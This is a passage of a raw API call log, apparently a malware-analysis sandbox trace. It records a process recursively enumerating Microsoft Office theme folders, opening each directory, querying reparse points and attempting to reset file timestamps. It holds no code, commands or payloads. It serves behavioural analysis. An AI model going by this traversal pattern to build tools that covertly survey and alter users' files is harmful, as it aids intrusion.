BaseAddress=0x9ebfc0) returned 1 [0056.548] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0056.548] GetLastError () returned 0x12 [0056.548] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0056.548] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0056.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1 [0056.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1 [0056.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0056.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0056.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0056.548] GetLastError () returned 0x12 [0056.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f47e8) returned 1 [0056.548] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0056.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f48f0) returned 1 [0056.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0056.548] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1 [0056.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.548] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0056.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0056.592] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0056.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f7d10 [0056.592] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f7d10, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9f7d10, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0056.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f7d10) returned 1 [0056.592] NtClose (Handle=0x160) returned 0x0 [0056.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0056.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0056.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f48f0 [0056.593] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0056.593] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.593] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1 [0056.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f47e8 [0056.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0056.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb210 [0056.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f6670 [0056.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.593] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.INF", cAlternateFileName="")) returned 1 [0056.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb230 [0056.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f6778 [0056.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.594] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0056.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb250 [0056.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f6880 [0056.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.594] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0056.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb270 [0056.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f6988 [0056.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.594] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0056.594] GetLastError () returned 0x12 [0056.594] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0056.595] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0056.595] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.595] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1 [0056.595] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.INF", cAlternateFileName="")) returned 1 [0056.595] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0056.595] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0056.595] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0056.595] GetLastError () returned 0x12 [0056.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f48f0) returned 1 [0056.595] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0056.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f47e8) returned 1 [0056.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0056.595] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0056.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0056.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0056.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0056.635] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0056.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f7d10 [0056.635] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f7d10, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9f7d10, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0056.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f7d10) returned 1 [0056.635] NtClose (Handle=0x16c) returned 0x0 [0056.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0056.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0056.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0056.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f47e8 [0056.635] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0056.635] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.635] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1 [0056.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f48f0 [0056.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0056.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb290 [0056.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f6a90 [0056.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.636] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1 [0056.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb2b0 [0056.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f6b98 [0056.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.636] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0056.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.636] RtlAllocateHeap (HeapHandle=0x940000, 